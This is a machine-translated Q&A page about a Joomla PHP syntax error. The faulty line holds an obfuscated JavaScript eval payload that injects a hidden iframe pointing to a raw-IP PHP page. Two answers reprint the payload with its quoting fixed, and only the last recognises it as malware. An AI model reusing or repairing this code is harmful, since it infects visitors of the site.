简体   繁体   English

Joomla语法错误

[英]Joomla syntax error

I have ran on server and localhost, I met the same issue as below, I've tried searching but not found any solution. 我已经在服务器和本地主机上运行,​​遇到了以下相同问题,我尝试搜索但未找到任何解决方案。 Please help me to fix it. 请帮助我修复它。

在此处输入图片说明

在此处输入图片说明

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);
    JResponse::setBody($body);

The error is as follows: 错误如下:

syntax error, unexpected ''.replace (/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) ...\debug.php on line 204

Thank all. 谢谢大家

You are not escaping the single quotes in your string. 您没有在字符串中转义单引号。 Replace with: 用。。。来代替:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

To clarify on itocopus's response. 澄清对伊科库珀斯的反应。 As you are using str_replace with single quotes ie (' ') then when you include a single quote within them it thinks you are closing the function. 当您将str_replace与单引号(即('')一起使用时,如果在其中包含单引号,它会认为您正在关闭函数。 So you need to escape it with a \\ so is you wanted to use ' inside it you would use: (' \\' ') . 因此,您需要使用\\对其进行转义,所以您想在其中使用'('\\'')来使用它。

So total would be: 因此总计为:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

That is a malware injection. 那是恶意软件注入。 Is common to Joomla and Wordpress. 是Joomla和Wordpress的共同点。 You have to delete what you have online an put the backup online. 您必须删除在线的内容,然后将备份在线。 Change all the pass to ftp and CMS. 将所有密码更改为ftp和CMS。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM